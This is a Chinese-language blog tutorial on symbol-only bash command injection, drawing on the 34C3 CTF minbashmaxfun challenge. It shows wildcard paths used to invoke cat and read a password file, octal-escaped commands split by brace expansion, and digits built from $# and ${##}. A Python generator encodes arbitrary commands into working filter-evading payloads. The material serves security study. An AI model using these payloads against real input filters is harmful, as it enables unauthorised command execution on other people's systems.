这篇文章上次修改于 188 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

纯符号命令注入

有这么一种情况,一处命令执行只允许输入纯符号,如何继续进行命令注入呢?

通配符?no!

你可以使用它来执行命令

/???/??? 匹配出来的第一个是/bin/cat , 之后的匹配文件将作为cat的参数进行读取

例如根目录存在一个/password.txt 我们如何读取呢?

/???/??? 
[loft /]# /???/??? [TAB]
/bin/cat  /bin/pax  /bin/sed  /dev/dri  /dev/shm  /etc/apt  /etc/opt  /etc/rmt  /etc/ufw  /etc/xdg  /lib/lsb  /run/shm  /usr/bin  /var/lib  /var/run  
/bin/dir  /bin/pwd  /bin/tar  /dev/net  /dev/snd  /etc/gss  /etc/pki  /etc/ssh  /etc/vim  /etc/xml  /lib/ufw  /sys/bus  /usr/lib  /var/log  /var/tmp  
/bin/npm  /bin/red  /dev/bus  /dev/pts  /etc/apm  /etc/kbd  /etc/ppp  /etc/ssl  /etc/X11  /lib/cpp  /run/log  /sys/dev  /usr/src  /var/opt  
[loft /]# /???/??? /????????????

执行 /???/??? /???????????? 实际为执行

[loft /]# /bin/cat  /bin/pax  /bin/sed  /dev/dri  /dev/shm  /etc/apt  /etc/opt  /etc/rmt /etc/ufw  /etc/xdg  /lib/lsb  /run/shm  /usr/bin  /var/lib  /var/run  
/bin/dir  /bin/pwd  /bin/tar  /dev/net  /dev/snd  /etc/gss  /etc/pki  /etc/ssh  /etc/vim  /etc/xml  /lib/ufw  /sys/bus  /usr/lib  /var/log  /var/tmp  
/bin/npm  /bin/red  /dev/bus  /dev/pts  /etc/apm  /etc/kbd  /etc/ppp  /etc/ssl  /etc/X11  /lib/cpp  /run/log  /sys/dev  /usr/src  /var/opt  /password.txt

这会把匹配出来的文件也读取一遍,不过没关系,我们要读取的/·password.txt 同样也做为参数被读取

但是如果我们想执行更多,更复杂的命令,通配符就起不到作用了

另一种方式

bash支持$'\154\163'这样的方式执行命令

但是这样操作存在一些问题,无法传递参数

ls -la为例

[loft /]# $'\154\163'
bin            dev   lib          mnt   root         sbin  tmp
boot            etc   lib64       opt   rootfs-pkgs.txt  srv   usr
desktopfs-pkgs.txt  home  lost+found  proc  run             sys   var
[loft /]# $'\154\163\40\55\154\141'
bash: ls -la:未找到命令

通过{a,b}语法分割命令和参数

ls -la 分割后为 {$'\154\163',$'\55\154\141'}

[loft /]# {$'\154\163',$'\55\154\141'}
总用量 120
drwxr-xr-x  18 root root  4096  5月 30 23:44 .
drwxr-xr-x  18 root root  4096  5月 30 23:44 ..
lrwxrwxrwx   1 root root     7  9月 30  2018 bin -> usr/bin
drwxr-xr-x   5 root root  4096  6月 28 11:53 boot
drwxr-xr-x   3 root root  4096  5月 30 23:44 .bundle
-rw-r--r--   1 root root     0  5月 27 11:27 .check-aur
-rw-r--r--   1 root root 20257  5月 12 19:09 desktopfs-pkgs.txt
drwxr-xr-x  21 root root  3680  7月  6 16:14 dev
drwxr-xr-x 111 root root 12288  7月  8 14:36 etc
drwxr-xr-x   3 root root  4096  5月 27 09:13 home
lrwxrwxrwx   1 root root     7  9月 30  2018 lib -> usr/lib
lrwxrwxrwx   1 root root     7  9月 30  2018 lib64 -> usr/lib
drwx------   2 root root 16384  5月 27 09:08 lost+found
-rw-r--r--   1 root root     7  5月 12 19:09 .manjaro-tools
drwxr-xr-x   2 root root  4096  9月 30  2018 mnt
drwxr-xr-x  10 root root  4096  6月 19 23:54 opt
dr-xr-xr-x 248 root root     0  7月  6 16:14 proc
drwxr-x---   8 root root  4096  7月  1 14:44 root
-rw-r--r--   1 root root  3996  5月 12 19:05 rootfs-pkgs.txt
drwxr-xr-x  29 root root   680  7月  6 08:15 run
lrwxrwxrwx   1 root root     7  9月 30  2018 sbin -> usr/bin
drwxr-xr-x   4 root root  4096  5月 12 19:03 srv
dr-xr-xr-x  13 root root     0  7月  6 16:14 sys
drwxrwxrwt  48 root root  1260  7月  9 18:47 tmp
drwxr-xr-x  13 root root  4096  7月  6 09:34 usr
drwxr-xr-x  12 root root  4096  7月  5 17:15 var

但如果连数字也不能输入呢?

处理数字

现在只剩数字需要处理了

$# 传递到脚本的参数个数
$$ 脚本运行的当前进程ID号

两种方法,构造逻辑运算

(($#<$$)) $# 为0,$$为当前程序pid大于0,所以为真

或者${#}为0${##}为1

$((1<<1)) => 2 移位运算

$((2#bbb)) => 任意数字
將 bbb 从二进制转换

执行命令

${!#}${0} 相等效果等同于 $BASH_ARGV,他的值会执行当前script的名称,即/bin/bash

编写脚本帮我们处理命令:

n = dict()
n[0] = '$#'
n[1] = '${##}'
n[2] = '$(({n1}<<{n1}))'.format(n1=n[1])
n[3] = '$(({n2}#{n1}{n1}))'.format(n2=n[2], n1=n[1])
n[4] = '$(({n1}<<{n2}))'.format(n2=n[2], n1=n[1])
n[5] = '$(({n2}#{n1}{n0}{n1}))'.format(n2=n[2], n1=n[1], n0=n[0])
n[6] = '$(({n2}#{n1}{n1}{n0}))'.format(n2=n[2], n1=n[1], n0=n[0])
n[7] = '$(({n2}#{n1}{n1}{n1}))'.format(n2=n[2], n1=n[1])
usercommand="ls -la /".split()
#py3 oct is 0oxxx python2 oct is 0xxx for py2 here is y[1:]
commandoct=[[y[2:] for y in map(oct,map(ord,x))] for x in usercommand] 
usercmdarr=[]
for _ in commandoct:
    tmp=""
    for s in _:
        tmp+="\\\\"
        for i in s:
            tmp+=n[int(i)]
    usercmdarr.append("$\\'{bashencode}\\'".format(bashencode=tmp))
bashexec="${!#}<<<{"+",".join(usercmdarr)+"}"
print(bashexec)

运行脚本,生成ls -la /的命令

${!#}<<<{$\'\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\',$\'\\$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))${##}\',$\'\\$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\'}

尝试验证执行:

[loft 桌面]# ${!#}<<<{$\'\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$(($((${##}<<${##}))#${##}${##}$#))$(($((${##}<<${##}))#${##}${##}))\',$\'\\$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}$#${##}))\\${##}$(($((${##}<<${##}))#${##}$#${##}))$((${##}<<$((${##}<<${##}))))\\${##}$((${##}<<$((${##}<<${##}))))${##}\',$\'\\$(($((${##}<<${##}))#${##}$#${##}))$(($((${##}<<${##}))#${##}${##}${##}))\'}
总用量 120
drwxr-xr-x  18 root root  4096  5月 30 23:44 .
drwxr-xr-x  18 root root  4096  5月 30 23:44 ..
lrwxrwxrwx   1 root root     7  9月 30  2018 bin -> usr/bin
drwxr-xr-x   5 root root  4096  6月 28 11:53 boot
drwxr-xr-x   3 root root  4096  5月 30 23:44 .bundle
-rw-r--r--   1 root root     0  5月 27 11:27 .check-aur
-rw-r--r--   1 root root 20257  5月 12 19:09 desktopfs-pkgs.txt
drwxr-xr-x  21 root root  3680  7月  6 16:14 dev
drwxr-xr-x 111 root root 12288  7月  8 14:36 etc
drwxr-xr-x   3 root root  4096  5月 27 09:13 home
lrwxrwxrwx   1 root root     7  9月 30  2018 lib -> usr/lib
lrwxrwxrwx   1 root root     7  9月 30  2018 lib64 -> usr/lib
drwx------   2 root root 16384  5月 27 09:08 lost+found
-rw-r--r--   1 root root     7  5月 12 19:09 .manjaro-tools
drwxr-xr-x   2 root root  4096  9月 30  2018 mnt
drwxr-xr-x  10 root root  4096  6月 19 23:54 opt
dr-xr-xr-x 249 root root     0  7月  6 16:14 proc
drwxr-x---   8 root root  4096  7月  1 14:44 root
-rw-r--r--   1 root root  3996  5月 12 19:05 rootfs-pkgs.txt
drwxr-xr-x  29 root root   680  7月  6 08:15 run
lrwxrwxrwx   1 root root     7  9月 30  2018 sbin -> usr/bin
drwxr-xr-x   4 root root  4096  5月 12 19:03 srv
dr-xr-xr-x  13 root root     0  7月  6 16:14 sys
drwxrwxrwt  48 root root  1260  7月  9 18:47 tmp
drwxr-xr-x  13 root root  4096  7月  6 09:34 usr
drwxr-xr-x  12 root root  4096  7月  5 17:15 var

成功执行:)

相关文章

https://hack.more.systems/writeup/2017/12/30/34c3ctf-minbashmaxfun/

https://www.runoob.com/linux/linux-shell-passing-arguments.html

https://ddaa.tw/34c3ctf_2017_misc_162_minbashmaxfun.html